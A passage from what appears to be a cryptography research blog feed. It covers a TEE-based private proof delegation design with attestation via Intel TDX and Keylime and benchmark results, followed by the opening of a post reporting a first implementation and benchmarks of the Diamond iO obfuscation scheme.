assumptions are made: - **Authenticity of Device Identity**: The attestation key bound to the physical device is genuine and was issued by the manufacturer’s trusted key hierarchy. - **Correct Verification and Validation**: The attestation service correctly verifies the quotes it receives, checking that: - Measurements match an expected secure configuration. - Firmware and security versions meet minimum patch levels. - No security policy violations have occurred. - **Impartial and Secure Operation**: The attestation service must behave honestly, not issuing approvals for devices that are compromised, outdated, or misconfigured. - **Resistance to Collusion or Coercion**: The attestation service must resist external pressures (e.g., nation-state coercion) that might lead it to falsely attestation to an insecure environment. **What if Broken** If the attestation service incorrectly verifies a compromised TEE — or worse, issues fabricated attestation results — remote users would falsely believe they are communicating with a secure environment. This would completely undermine the remote trust model that TEEs are designed to enable. --- # TEE-based private proof delegation ## Construction of TEE-based private proof delegation TEE-based private proof delegation system involves a few additional components compared to naive PPD system. In this section, we describe how to construct a TEE-based private proof delegation system. ![TEE based PPD architecture](/articles/tee-based-ppd/tee-ppd.webp) _Architecture diagram_ In the architecture diagram above, we can see several components, including - Client - TD Host - TD Guest (Prover) - Attestation provider - Verifier **Client** is a party who wants to have a zk proof about a statement using their private input. Typically this party computes the proof by itself, but somehow it wants to delegate the proving computation to external parties. **TD Host** is a host OS running on a server that runs the TEE VM inside. In Intel TDX, the TEE VM is called trusted domain (TD); therefore, we call this host OS a TD host. TD host physically runs the TEE VM (TD guest) on the machine, but the OS, firmware, and supervisors cannot access the data inside the guest VM thanks to the TEE functionality, such as memory encryption. The TD guest is isolated from the TD host. **TD Guest (Prover)** is a TEE VM running inside the TD host. This party actually computes the zk proof on behalf of the client. In order to make the safe transfer of the secret data, TD guest and client have to establish a secure communication channel so that no one else can read the data passed between the two parties. TD guest will decrypt the data passed through the channel, run the proof computation, and send the proof data back to the client. At the beginning, the TD guest is asked to generate TD quote for the remote attestation by the client. They get a quote and send its data to the attestation provider to securely attest to its state. **Attestation provider** is a party who provides a secure remote attestation capability. This party will provide a quote verification and generate attestation using pre-registered TEE hardware information. In this scenario, we have to trust this attestation provider correctly registered the hardware info, like its embedded keys and keychains. **Verifier** is anyone who verifies the generated proof. ## Execution flow ### Remote Attestation We start the whole process with remote attestation. In this step, the client ensures that the prover VM is running on legitimate hardware and firmware, OS, and program. ### What Happens 1. The **TEE environment** (such as a confidential VM or enclave) begins by measuring its **initial state** at launch time. These measurements include: - The code and data loaded into the TEE at startup - Configuration values (e.g., enabled security features, TEE attributes) 2. These measurements are securely recorded in **platform-protected registers**, such as: - Platform Configuration Registers (PCRs) in a TPM - Runtime Measurement Registers (RTMRs) or equivalent TEE-specific structures 3. The TEE then generates an **attestation report** — a structured message that includes: - The recorded measurements - TEE metadata (such as the identity of the code, runtime version, and security configuration) - Optional application-specific data (e.g., a nonce or public key from the client) 4. This attestation report is sent to a trusted component inside the platform known as the **attestation signing agent** (e.g., a _quoting enclave_, _firmware-based attestation module_, or _secure co-processor_). 5. The attestation signing agent signs the report using a **manufacturer-provisioned attestation key**. This key is - Cryptographically tied to the device - Certified by the TEE vendor (e.g., Intel, AMD, ARM) - Stored and used in a protected environment inaccessible to untrusted software 6. The resulting **attestation quote** is returned to the TEE and passed to the **client** (or relying party) that requested attestation. 7. The client forwards the quote to a **remote attestation service**, which: - Verifies the signature on the quote using the manufacturer’s root certificate - Validates the integrity and freshness of the TEE’s measurements - Confirms that the platform is genuine, up-to-date, and securely configured 8. If successful, the attestation service returns a signed statement (e.g., JWT, certificate, or signed JSON blob) to the client, confirming the TEE’s authenticity. 9. The **client** examines this attestation result, ensuring: - The measured code matches the expected application. - All required security features (e.g., secure boot, memory encryption) are active. - The quote is recent and bound to a valid nonce or challenge. Only once this trust is established does the client proceed to send sensitive data to the TEE. --- ### Runtime Attestation with Linux IMA and Keylime While launch-time attestation provides assurance that a Trusted Execution Environment (TEE) **starts in a known-good state**, it does not cover what happens _after_ boot. A malicious actor could, for example, replace a binary or tamper with configuration files post-launch without affecting the original attestation quote. To address this, we incorporate **runtime attestation** using the **[Linux Integrity Measurement Architecture (IMA)](https://www.redhat.com/en/blog/how-use-linux-kernels-integrity-measurement-architecture)** and the **[Keylime](https://keylime.dev/)** framework. --- #### What Is Linux IMA? **IMA** is a Linux kernel subsystem that measures files — such as executables, libraries, scripts, and configuration files — _at the time they are accessed_. It maintains a **measurement log**, which contains cryptographic hashes of all accessed files. These hashes are extended into a **Platform Configuration Register (PCR)** (typically **PCR10** in TPM-backed systems). This allows the system to: - Detect if any critical file has been changed or tampered with. - Compare runtime measurements against a reference "good" state. - Bind application behavior to expected code and configuration. --- #### What Is Keylime? **Keylime** is an open-source remote attestation framework designed to work with IMA. It allows a **remote verifier** (e.g., a client) to continuously monitor the integrity of a **running system**, including a TEE-based confidential VM. Keylime components include: - **Agent (inside the TEE guest)**: Reports IMA measurements and TPM quotes - **Verifier (outside the TEE)**: Validates measurements against a policy - **Registrar**: Manages key provisioning and trust setup --- #### How Runtime Attestation Complements Launch-Time Attestation | Launch-Time Attestation | Runtime Attestation (IMA + Keylime) | | ----------------------------------------------------- | ------------------------------------------------- | | Validates integrity at the point of TD creation | Monitors integrity throughout execution | | Covers bootloader, kernel, early OS state | Covers binaries, libraries, config files, scripts | | Performed once at startup | Ongoing or on-demand validation | | Bound to hardware measurement registers (e.g., RTMRs) | Bound to TPM PCRs (e.g., PCR10) | #### Benefits in a ZK Proving Context In delegated proving, runtime attestation can ensure that: - The ZK prover binary running inside the TEE has not been modified or replaced. - The proving key and parameters are untampered. - The system hasn’t silently switched to an insecure configuration. This provides **stronger guarantees to the client** — not only is the environment secure at boot, but **it remains secure during execution**. --- #### Deployment in TEE-Based Setup 1. The TEE guest VM runs a Linux kernel with IMA enabled. 2. The IMA policy is configured to measure: - ZK prover binary - Dependencies and shared libraries - Config files and proving keys 3. The Keylime Agent runs inside the TEE guest and periodically sends: - TPM quotes (including PCR10) - IMA measurement log 4. The remote Keylime Verifier (e.g., hosted by the client) checks: - The TPM quote's signature - That IMA measurements match an expected whitelist --- ### Trust Model Enhancement By combining - **Launch-time attestation** (via TEE quote + attestation service), and - **Runtime attestation** (via IMA + Keylime + TPM), We create a **two-layer trust model** where the client can verify: 1. The TEE starts securely and is properly configured. 2. The integrity of the prover binary and environment is continuously enforced. This layered approach significantly raises the bar against both **transient** and **persistent** attacks on delegated ZK proving infrastructure. ## Secure channel setup Once attestation confirms that the TEE is in a trusted state, the client needs a secure way to transmit private data — such as private inputs — into the TEE without exposing them to the untrusted host. We can use secure communication channels such as TLS. --- #### Purpose - Protect the client’s sensitive data in transit. - Ensure data is delivered **only to the verified TEE**. - Prevent tampering or interception by the host or hypervisor. --- #### How It Works 1. **Attestation is completed**, and the client verifies the TEE’s integrity. 2. In our implementation, we used **Keylime’s secure payload delivery mechanism**: - The **Keylime Tenant** sends the encrypted data to the **Keylime Agent** running inside the TEE guest. - This only happens **after the TEE passes both launch-time and runtime attestation**. - Keylime tenant and agent are communicating via mTLS channel. 3. The Keylime Agent receives and decrypts the data inside the TEE. 4. The proving process begins using the securely provisioned input. ## Proof generation and verification Once all the data needed to compute the zk proof, the TD guest can now compute the proof. This part is pretty much the same as normal computation because we can run exactly the same binaries as in the normal server. When proof is computed, TD guest sends the proof back to the client or any third party who wants to verify the proof. # Benchmarking We took benchmarks of the system architecture described in the previous section. The benchmark targets are **[semaphore](https://semaphore.pse.dev/)** and [proof-of-twitter](https://github.com/zkemail/proof-of-twitter/tree/main) from **[zkemail](https://prove.email/)**. Both are important client applications that utilize zk proof for privacy. The results help assess whether modern TEEs offer a viable foundation for private proof delegation in practice. The first thing we did was to take benchmarks of the semaphore circuit using [this repo](https://github.com/vplasencia/semaphore-benchmarks). For the semaphore we ran three benchmarking settings. 1. Benchmark for proof generation inside TEE VM 2. Benchmark for proof generation inside normal VM 3. Benchmark for E2E TEE-based private proof delegation setting For 1 and 3, we use the Azure VM Standard_EC16eds_v5 series; for 2, we use the Azure Standard_E16ds_v5 series. Both have a RAM size of 128 GiB and 16 vCPUs. The only difference is if TEE functionality is turned on or not. For zkemail, we used proof-of-twitter circuit to measure the number. For this, we only took E2E benchmarks to see if the whole system can provide an acceptable number. ## Semaphore benchmarks 1. Benchmark for proof generation inside TEE VM ![Benchmark1](/articles/tee-based-ppd/benchmark1.webp) 2. Proof generation inside normal VM ![Benchmark2](/articles/tee-based-ppd/benchmark2.webp) E2E benchmarks In our scenario, we measure the E2E performance, including - Keylime runtime attestation - TDX attestation - Proof generation - (We skipped the actual transfer of secret input data in this scenario) | | 1 | 2 | 3 | Avg. | | ------------------- | ------ | ------ | ------ | ------ | | Keylime attestation | 901ms | 591ms | 597ms | 696ms | | TDX attestation | 1065ms | 1041ms | 1040ms | 1048ms | | Proving | 1147ms | 1133ms | 1128ms | 1136ms | | Total | 3166ms | 2803ms | 2809ms | 2926ms | ## zk-email benchmarks We use the proof-of-twitter circuit as our benchmark target. This demonstrates a real-world use case for TEE-based private proof delegation. The benchmark was taken for the E2E setting, as in the semaphore benchmark. | | 1 | 2 | 3 | Avg. | | ------------------- | ------- | ------- | ------- | ------- | | Keylime attestation | 885ms | 606ms | 633ms | 708ms | | TDX attestation | 1079ms | 1387ms | 1820ms | 1428ms | | Proving | 87213ms | 57185ms | 56976ms | 67124ms | | Total | 89224ms | 59216ms | 59462ms | 69300ms | ## Discussions See Table 2—the ~67s proving time dominates E2E latency, so in this case, TEE overhead becomes <5 %. Our benchmarks show that TEE-based delegated proving is both **feasible and practically performant** for real-world zero-knowledge applications — with varying trade-offs depending on the circuit size and security assumptions. ### Attestation Overhead Is Modest Both **Keylime runtime attestation** and **TDX launch attestation** contribute **1.74 s total (696 ms + 1 048 ms)** in both cases. In the Semaphore benchmark, their combined overhead accounts for less than 25% of the total latency. This indicates that - **Launch-time and runtime attestation are fast enough** to be included in every proving session. - They can be embedded into interactive or on-demand proving scenarios without causing significant delay. However, it's important to note that our benchmarks used a **simple attestation policy** that only performs **signature verification** on the attestation quote. In a production setting, policies may include - Validation of **RTMR (Runtime Measurement Register)** values - Checks for **specific file measurements** via IMA - Enforcement of secure configuration (e.g., Secure Boot, kernel version) Such policies would add additional verification steps, which could modestly increase attestation latency. ### Input Transfer Cost Not Accounted Our current benchmark **skips the actual transfer of secret input data** (e.g., witness values, proving keys if needed). In real deployments, this step involves - Transmitting encrypted payloads over a secure channel (e.g., via mTLS) - Decrypting and loading the data inside the TEE The cost of this step depends on - **Payload size** (some proving inputs may be tens or hundreds of megabytes) - **Network conditions**, including latency and bandwidth - **Disk I/O**, if data is staged or stored before proving While not captured here, this cost should be considered for systems with large or frequent input provisioning. ## Proving Time Dominates for Larger Circuits The **zkEmail circuit** (based on proof-of-Twitter) demonstrates a **much larger proving time** — averaging over 67 seconds — due to higher circuit complexity. In contrast, the **Semaphore proof** completes in just over 1.1 seconds on average. This reinforces a key insight: - The performance bottleneck shifts from attestation to proving as circuit size grows. - TEE-induced overhead is amortized in large proofs, making the TEE setup cost relatively negligible in long-running sessions. ## Scalability and Future Acceleration One advantage of using a **VM-based TEE like Intel TDX** is the ability to **scale up compute resources**: - On platforms like Azure, we can increase the number of vCPUs and available memory by selecting a larger VM size (e.g., scaling from 4 to 16 or 32 cores). - This enables faster proof generation for large circuits without modifying the security model or proving logic. Furthermore, although we have not explored it in this benchmark, **[GPU acceleration is becoming increasingly feasible](https://developer.nvidia.com/blog/confidential-computing-on-h100-gpus-for-secure-and-trustworthy-ai/)** within TEE environments. Some confidential computing frameworks are beginning to support - GPU passthrough into confidential VMs - Secure offloading of compute-intensive workloads (like FFTs, MSMs) into trusted GPU regions If applicable to the proving backend, this could **dramatically reduce proof times** for large circuits — especially for modern SNARKs and STARKs with GPU-optimized primitives. ## Comparison with Other Approaches To contextualize our results, we briefly compare TEE-based delegated proving with two alternative approaches: - **Collaborative zkSNARKs**: These use multi-party computation (MPC) to split proof generation across multiple participants. While they eliminate the need to trust hardware, they typically involve higher coordination and communication overhead. - **[MoPro](https://zkmopro.org/)**: A mobile-native ZK prover designed to run directly on smartphones. It removes the need for delegation entirely but is limited by the constraints of mobile hardware. --- Thanks to **Roman from [TACEO](https://taceo.io/)**, we also have a benchmark for the same Semaphore circuit using collaborative zkSNARKs with CoCircom. In this setup, three MPC parties ran inside the same data center on **m7a.4xlarge** machines (16 vCPUs, 64 GiB RAM). The total proving time, including witness extension and proof generation, was **626 ms + 39 ms**. Although performance depends heavily on specific configurations (e.g., number of parties, network latency), these results show that collaborative SNARKs are a **viable option** for delegated proving. However, since both collaborative SNARKs and TEE-based proving rely on cloud infrastructure, it's important to compare their **infrastructure costs**. According to Azure's VM pricing: - **Standard_E16ds_v5** (non-TEE): $1,010.32/month - **Standard_EC16eds_v5** (TEE-enabled): $1,012.32/month This means adding TEE features incurs **virtually no extra cost** — only around $2/month. In contrast, collaborative SNARKs typically require **n servers** for n-party computation. So, for a 3-party setup, the base cost is **at least 3× higher** than the TEE-based model. --- We also have benchmark data for mobile proving using **MoPro**, available [here](https://zkmopro.org/docs/performance/). For Semaphore, witness generation and proof creation on an **iPhone 16 Pro** ranged from **165 ms to 1267 ms**, depending on the library. However, circuits that require large memory (e.g., 3 GB for iPhone 15) tend to **crash** on native apps. This is a known limitation when using proving backends that rely on **large proving keys**. For context, the typical hardware specs used in these mobile benchmarks are - **iPhone**: 6-core CPU @ 3.33 GHz, 5.7 GiB RAM - **Android**: 7-core CPU @ 2.16 GHz, 3.82 GiB RAM These constraints illustrate the challenge of using mobile-native proving for larger circuits. --- ## Relative Comparison (based on our benchmarks) | Approach | Semaphore Circuit | Notes | | ---------------------- | ----------------------------- | ------------------------------------------- | | TEE | ~210ms (proving), ~2.9s (E2E) | Fast, attested, scalable | | Collaborative zkSNARKs | ~ 700ms (proving) | Needs coordination; performance varies | | MoPro | 165 ~ 1267ms (proving) | Local execution; limited by mobile hardware | # Conclusion Our benchmarks show that **TEE-based delegated proving** is both practical and performant for real-world zero-knowledge applications like **Semaphore** and **zkEmail**. With modest attestation overhead, strong confidentiality guarantees, and the ability to scale VM resources, this approach offers a compelling balance between **security, performance, and deployability**. While it requires trust in hardware and attestation infrastructure, it avoids the coordination complexity of MPC-based proving and the limitations of mobile-native approaches. TEE-based proving is ready for real deployment — especially in cloud-based privacy systems where trust, verifiability, and performance must coexist. --- ## Future work - Scale to larger circuits using more powerful VMs or GPUs. - Bind attestation results directly to ZK proof outputs. - Extend runtime integrity policies for broader trust coverage. --- ## Appendix ## Our choice of TEE Trusted Execution Environments (TEEs) come in multiple forms, distinguished primarily by the granularity of isolation they provide. The two most prominent architectures are process-based TEEs and VM-based TEEs. ![Trust boundary image](/articles/tee-based-ppd/trust-boundary.webp) _Trust boundary of different types of TEEs_ #### **Process-Based TEEs** Examples: Intel SGX, ARM TrustZone Characteristics: - Isolation is established at the process level within the host operating system. - A process (or subset of code, called an enclave) runs inside a secure container, isolated from the rest of the OS and other applications. - Typically smaller Trusted Computing Base (TCB) — only the enclave and runtime libraries. - OS and hypervisor are assumed to be untrusted. Strengths: - Minimal TCB: Only the application code inside the enclave must be trusted. - Fine-grained isolation for very sensitive workloads. Limitations: - Severe memory size restrictions (e.g., Intel SGX enclaves are limited to ~128 MiB EPC in early generations). - Complex programming model: Developers must explicitly partition application logic between "trusted" and "untrusted" code. - I/O and system call complexity: Accessing external resources (files, network, etc.) requires complex enclave exits and marshaling. - Harder scalability: Managing large applications inside small enclaves can be extremely difficult. #### **VM-Based TEEs** Examples: Intel TDX, AMD SEV-SNP Characteristics: - Isolation is established at the full virtual machine level. - The entire guest VM — including its OS and applications — is isolated from the hypervisor and the host system. - The guest OS and applications can largely run unmodified. Strengths: - Larger memory footprint: VM-based TEEs can access many gigabytes of encrypted memory. - Simplified development: No need to rewrite or partition applications; existing software stacks can run inside the confidential VM. - Better I/O and networking support: Standard drivers and system interfaces work without complex marshalling. - Cloud-native scaling: VM-based TEEs fit naturally into existing infrastructure-as-a-service (IaaS) models (Azure, AWS, GCP). Limitations: - Larger TCB compared to process-based TEEs (full guest OS must be trusted unless further minimized). - Slightly higher performance overhead compared to native execution (due to memory encryption and virtualization). #### Why VM-Based TEE Is Better for Our Purpose In our private proof delegation use case — where we generate zero-knowledge proofs inside the TEE — the requirements favor VM-based TEE designs for several reasons: **Large Memory Requirements**: ZK proof generation (especially for circuits like Semaphore and zkEmail) often requires large working memory. Process-based TEEs like SGX would be severely constrained, causing paging and drastic performance penalties. **Unmodified Execution Environment**: The ZK proof generation tools (e.g., snarkjs, custom Rust provers) can run on a normal Linux environment without major changes. A VM-based TEE lets us leverage standard OS functionality and libraries without adapting the application to enclave SDKs. **Simplified Development and Maintenance**: VM-based TEEs allow the entire application stack to be secured without restructuring the application into trusted/untrusted partitions, greatly reducing engineering complexity. **Cloud Deployment Compatibility**: Azure Confidential VMs (ECedsv5 series) allow seamless deployment, scaling, and management of TDX-based VMs. This fits naturally into cloud-native workflows for scaling proof delegation infrastructure. **Remote Attestation Support at VM Level**: VM-based TEEs like TDX provide attestation mechanisms that cover the entire VM, enabling strong guarantees about the full execution environment — not just a single process. ![Azure CVM](/articles/tee-based-ppd/cvm-availability.webp) _Confidential VM availability on Azure_ ]]> <![CDATA[Hello, World: the first signs of practical iO]]> https://pse.dev/blog/hello-world-the-first-signs-of-practical-io https://pse.dev/blog/hello-world-the-first-signs-of-practical-io Mon, 12 May 2025 00:00:00 GMT <![CDATA[Machina iO shares the first end-to-end implementation and benchmarks of Diamond iO, demonstrating that lattice-based indistinguishability obfuscation can be made concrete and efficient.]]> <![CDATA[ 04.28.2025 | [Sora Suegami](https://x.com/SoraSue77), [Enrico Bottazzi](https://x.com/backaes), [Pia Park](https://x.com/0xpiapark) Today, we’re excited to announce that **we have successfully implemented [Diamond iO](https://eprint.iacr.org/2025/236)**, a straightforward construction of indistinguishability obfuscation (iO) that we published in February, and **completed its end-to-end workflow**. You can explore the codebase [here](https://github.com/MachinaIO/diamond-io). The current implementation includes minor differences from the theoretical construction and supports a limited range of circuit functionalities. Nonetheless, it demonstrates the concrete efficiency of the novel techniques introduced in Diamond iO, **opening a new path toward practical iO**. ## iO is powerful, but far from practical use While technological acceleration is increasingly driven by data-centric algorithms operating on vast datasets controlled by centralized entities, there is an observable decline in individuals' control over personal data. We believe that a **global private computation platform** represents the only viable bridge to reconcile and further boost tech acceleration and personal data sovereignty. As the value of private information delegated to such a platform grows, it becomes necessary to rely on a security foundation that can scale regardless of the stakes involved. Unlike other technologies such as Multi-Party Computation (MPC) or Multi-Party Fully Homomorphic Encryption (MP-FHE), facing [privacy scalability issues](https://mirror.xyz/privacy-scaling-explorations.eth/nXUhkZ84ckZi_5mYRFCCKgkLVFAmM2ECdEFCQul2jPs), iO completely removes the perpetual reliance on committees after distributed trusted setup processes. In other words, iO unlocks a programmable protocol that acts as the **perfect trustless third party**, relying solely on cryptographic hardness assumptions to guarantee the security of any secrets—akin to Nick Szabo's definition of [God Protocol](https://nakamotoinstitute.org/library/the-god-protocols/). Following a series of studies on iO, [a breakthrough work by Aayush Jain, Huijia Lin, and Amit Sahai in 2020](https://dl.acm.org/doi/pdf/10.1145/3406325.3451093) demonstrated that iO could be constructed solely from standard assumptions, firmly established through over a decade of research. However, iO has been seen as a theoretical cryptographic primitive because of the complexity of its constructions. In fact, [one of the most recent studies on the iO implementation](https://link.springer.com/chapter/10.1007/978-3-319-15618-7_12) reports a simulation result that obfuscating a 2-bit multiplication circuit requires around 10^27 years and 20 Zetta bytes of memory. ## Diamond iO: an implementable iO construction Diamond iO overcame this obstacle by presenting a new lattice-based iO construction that is simple enough to be implemented. A common bottleneck in previous iO schemes is the reliance on costly (and recursive) operations from functional encryption (FE). This is solved in Diamond iO by relying on **simple matrix operations**. We [implemented](https://github.com/MachinaIO/diamond-io) the construction defined in [Section 4 of our paper](https://eprint.iacr.org/2025/236.pdf#page=17.34). The implementation includes the following minor differences from the theoretical construction: - **RLWE and LWE**. The paper describes the scheme in its learning with error (LWE) setting. In the implementation, we work in the ring LWE (RLWE) setting. More practically, finite field elements are replaced by polynomial rings, allowing us to pack more bits of information in each matrix into polynomials and compute multiplication efficiently with number theoretic transform. - **Pseudorandom function (PRF) scheme.** While the theoretical construction homomorphically evaluates PRF using FHE, the implementation evaluates it without FHE by reusing the secret key depending on the evaluator's input bits as the PRF key. A detailed explanation will be provided in the upcoming updated version of our paper. - **Circuit model.** The theoretical construction obfuscates an entire circuit. In the implemented version, the obfuscator sets a private key $k$ and a circuit $C$ to obtain an obfuscated program that only hides $k$ while $C$ remains public. The evaluator can then non-interactively execute the obfuscated program over their input $x$ to obtain $C(k, x)$ and nothing else. This is in line with practical [use cases](https://phantom.zone/posts/program-obfuscation) in which we need to hide some signing or decryption key, while the functionality must be transparent. - **FHE scheme.** While the theoretical construction employs [GSW FHE](https://eprint.iacr.org/2013/340.pdf), the implementation adopts a simpler encryption method based on ring-LWE (RLWE) described in [[LPR10]](https://www.iacr.org/archive/eurocrypt2010/66320288/66320288.pdf). This scheme only supports linear homomorphic operations over ciphertexts encrypting binary vectors. On the other hand, when compared to GSW, it requires fewer bits to represent a ciphertext. - **Lack of pseudorandom oracle.** [A pseudorandom oracle](https://eprint.iacr.org/2022/1204.pdf), which could be implemented by a hash function in practice, is necessary for security proofs to ensure that iO can support not only pseudorandom functionalities but also general ones as shown in Subsection 5.4 of [[BDJ+24]](https://eprint.iacr.org/2024/1742.pdf). However, this has not yet been implemented in the current implementation as the required hash functions are still too complex. While all of these differences (except for the first one) are introduced to reduce the complexity of the functional encryption (FE) scheme of [[AKY24]](https://eprint.iacr.org/archive/2024/1719/1729569779.pdf), the key novelty of Diamond iO—namely the matrix-based process to insert the evaluator’s input bits into the FE ciphertext provided by the obfuscator—is implemented as defined in the theoretical construction (except for some trivial optimizations). Therefore, despite these disparities, the implementation still demonstrates the concrete efficiency of the novel techniques we proposed. ## Beyond theory: benchmark results In our benchmarking scenario, the obfuscator sets a [public circuit](https://github.com/MachinaIO/diamond-io/blob/e7e87dd8422db0f8ccf634fdb3c658c2c1eef82e/dio/src/circuit.rs) $C$ with variable arithmetic depth (addition and multiplication layers) and variable input size. As part of the obfuscation algorithm, the obfuscator samples a binary vector hardcoded key $k$ and embeds it inside the obfuscated circuit. The obfuscated circuit is then published such that any evaluator can run it over their dynamically chosen input $x$ to obtain $C(k, x)$ without any interaction with the obfuscator and without learning $k$ (beyond what could be inferred from $C(k, x)$). ```js // public circuit C let mut public_circuit = PolyCircuit::new(); // inputs: BaseDecompose(ct), Evaluator's input // outputs: BaseDecompose(ct) * acc { let inputs = public_circuit.input((2 * log_base_q) + 1); let mut outputs = vec![]; let eval_input = inputs[2 * log_base_q]; // compute acc according to provided add_n and mul_n values let mut acc = if add_n == 0 { public_circuit.const_one_gate() } else { public_circuit.const_zero_gate() }; for _ in 0..add_n { acc = public_circuit.add_gate(acc, eval_input); } for _ in 0..mul_n { acc = public_circuit.mul_gate(acc, eval_input); } // compute the output for ct_input in inputs[0..2 * log_base_q].iter() { let muled = public_circuit.mul_gate(*ct_input, acc); outputs.push(muled); } public_circuit.output(outputs); } ``` In the following description, multiplicative depth represents the depth of multiplication gates in the public circuit, rather than one in the entire circuit. Even when this depth is 0, the entire circuit being obfuscated and evaluated has at least one depth because the final FHE decryption step includes one inner product. We confirmed the correctness of the implementation by setting the public circuit as the identity function and verifying that the output of the evaluation matches the hardcoded key sampled by the obfuscator. One important point to highlight about performance is that obfuscation is a one-time operation (per application). Since we can assume that the obfuscator has access to powerful hardware, the primary focus for optimization should be evaluation, which is a recurring and more performance-critical process. ### Benchmark settings We benchmarked the implementation using the [dio](https://github.com/MachinaIO/diamond-io/tree/e7e87dd8422db0f8ccf634fdb3c658c2c1eef82e/dio) CLI binary compiled without any feature flags, in the above scenario. For each experiment setting, we measured the execution time, memory consumption, and the size of the obfuscated circuit three times and adopted their averages, respectively. The number of addition and multiplication layers (depths) in the public circuit used for the benchmarks was adjusted according to the experiment settings. We selected optimum parameters which, according to the [lattice-estimator](https://github.com/malb/lattice-estimator), should offer at least 80-bit security against the best-known attacks. This process is automated by [our simulator script](https://github.com/MachinaIO/diamond-io/blob/e7e87dd8422db0f8ccf634fdb3c658c2c1eef82e/simulator/main.py). ### Benchmark 1: circuit complexity (fixed input size) In the first benchmark, we fixed the number of input size to one bit and scaled the circuit complexity by varying the depth of multiplication in the public circuit as shown in Table 1. Here, we ignore one multiplication depth for an inner product during FHE decryption because this is a common operation, independent of the public circuit definition. **Table 1. Experimental settings for Benchmark 1.** | Multiplicative depth |Parameters | Final Circuit Gates | | --------- | ---------- | ------------------- | | 0 | [ID 33](https://github.com/MachinaIO/diamond-io/blob/e7e87dd8422db0f8ccf634fdb3c658c2c1eef82e/e2e/dio-config.33.toml) | Input: 46, Const: 108, Add: 36, Mul: 180 | | 5 | [ID 34](https://github.com/MachinaIO/diamond-io/blob/e7e87dd8422db0f8ccf634fdb3c658c2c1eef82e/e2e/dio-config.34.toml) | Input: 58, Const: 144, Add: 68, Sub: 4, Mul: 260 | | 10 | [ID 35](https://github.com/MachinaIO/diamond-io/blob/e7e87dd8422db0f8ccf634fdb3c658c2c1eef82e/e2e/dio-config.35.toml) | Input: 76, Const: 198, Add: 106, Sub: 4, Mul: 370 | These experiments were conducted in the below environment: - Machine: AWS `i4i.8xlarge` instance (32 vCPUs, 256 GB RAM) - Commit to the benchmarked code: [f3b2fdc](https://github.com/MachinaIO/diamond-io/tree/f3b2fdc121b22de69e9a801f1eee41620c565627) **Results of Benchmark 1.** Table 2 summarizes the results of the execution time, peak memory usage, and the obfuscated circuit size for each multiplicative depth. The second, third, and fourth columns report, respectively, the time required to obfuscate the circuit and write it to disk, the time to load the obfuscated circuit from disk into RAM, and the time to evaluate it. **Table 2. Results of Benchmark 1 at each multiplicative depth.** | Multiplicative depth | Obfuscation Time /min | Loading Time (min) | Evaluation Time (min) | Peak Memory Usage (GB) | Obfuscated Circuit Size (GB) | |:----------:|:----------------------:|:------------------:|:----------------------:|:----------------------:|:----------------------------:| | 0 | 15.80 | 4.575 | 2.542 | 34.30 | 6.303 | | 5 | 39.85 | 12.84 | 7.789 | 80.38 | 10.79 | | 10 | 129.3 | 42.16 | 29.94 | 225.1 | 19.77 | Figure 1 demonstrates that the execution time of each operation increases with depth faster than linearly. The peak memory usage and the obfuscated circuit size shown in Figure 2 follow the same trend. This trend can be theoretically explained as follows. During evaluation, the upper bound of accumulated error grows exponentially with the circuit depth. To keep correctness, the modulus $q$ must therefore be chosen with a bit-length that scales proportionally to the depth. Among the matrices included in the obfuscated circuit, the largest ones—the preimage matrices—grow in size roughly with the bit-length of $q$ or with its square. Consequently, their bit-length increases at least quadratically in depth, causing the overall execution time to rise faster than linearly. ![chart](https://hackmd.io/_uploads/BkHKJNTyge.svg) **Figure 1. Execution time at each multiplicative depth.** ![Chart from Google Docs (4)](https://hackmd.io/_uploads/HJ2qkETylg.svg) **Figure 2. Peak memory usage and obfuscated circuit size at each multiplicative depth.** ### Benchmark 2: input size (fixed circuit complexity) In the second benchmark, we kept the complexity of the public circuit identical to that of the depth 0 in Benchmark 1 and varied the number of input size as shown in Table 3. **Table 3. Experimental settings for Benchmark 2.** | Input Size (bits) | Parameters | Final Circuit Gates | | ---------- | -------------------------------------------------------------------------- | ------------------------------------------- | | 1 | [ID 33](https://github.com/MachinaIO/diamond-io/blob/e7e87dd8422db0f8ccf634fdb3c658c2c1eef82e/e2e/dio-config.33.toml) | Input: 46, Const: 108, Add: 36, Mul: 180 | | 2 | [ID 36](https://github.com/MachinaIO/diamond-io/blob/e7e87dd8422db0f8ccf634fdb3c658c2c1eef82e/e2e/dio-config.36.toml) | Input: 58, Const: 144, Add: 48, Mul: 240 | | 4 | [ID 39](https://github.com/MachinaIO/diamond-io/blob/e7e87dd8422db0f8ccf634fdb3c658c2c1eef82e/e2e/dio-config.39.toml) | Input: 82, Const: 216, Add: 72, Mul: 360 | These experiments were conducted in the below environment: - Machine: AWS `i4i.16xlarge` instance (64 vCPUs, 512 GB RAM) - Commit to the benchmarked code: [a2fe732](https://github.com/MachinaIO/diamond-io/tree/a2fe732684530604b22051ebcee5b4aadba8d06b) Unlike the implementation used in Benchmark 1, the Benchmark 2 implementation loads from disk only the parts of the obfuscated circuit needed at each evaluation step, preventing out-of-memory crashes even with large input sizes. **Results of Benchmark 2.** Table 4 summarizes the results of the execution time, peak memory usage, and the obfuscated circuit size for each input size. The third column includes the time to load the obfuscated circuit from disk into RAM during evaluation. **Table 4. Results of Benchmark 2 at each input size.** | Input Size (bits) | Obfuscation Time (min) | Evaluation Time (min) | Peak Memory Usage (GB) | Obfuscated Program Size (GB) | |:----------:|:----------------------:|:---------------------:|:----------------------:|:----------------------------:| | 1 | 12.55 | 2.925 | 20.80 | 6.303 | | 2 | 52.01 | 11.54 | 62.97 | 20.76 | | 4 | 372.8 | 85.19 | 270.5 | 88.05 | Figures 3 and 4 show that every metric in Benchmark 2 increases with input size more rapidly than the results observed in Benchmark 1. Theoretical analysis indicates that—just as with multiplicative depth—the bit-length of the modulus $q$ also grows in proportion to the input size. However, this increases not only the size of each matrix but also the number of preimage matrices linearly. These theoretical considerations therefore explain why execution time and data size grow with input size at a rate surpassing their growth measured in Benchmark 1. ![chart (1)](https://hackmd.io/_uploads/rJAoJV6Jgx.svg) **Figure 3. Execution time at each input size.** ![Chart from Google Docs (5)](https://hackmd.io/_uploads/rJO2kV61le.svg) **Figure 4. Peak memory usage and obfuscated circuit size at each input size.** ### Discussion: Toward Practical Feasibility These benchmark results demonstrate that the obfuscation time, the evaluation time, and the obfuscated circuit size scale are nonlinear with both the multiplicative depth and the input size of the circuit. However, the growth of the evaluation time is slower than those of the others, which is an encouraging result as the evaluation is the most recurring process. Although the implementation seems to be still far from practical circuit sizes, according to 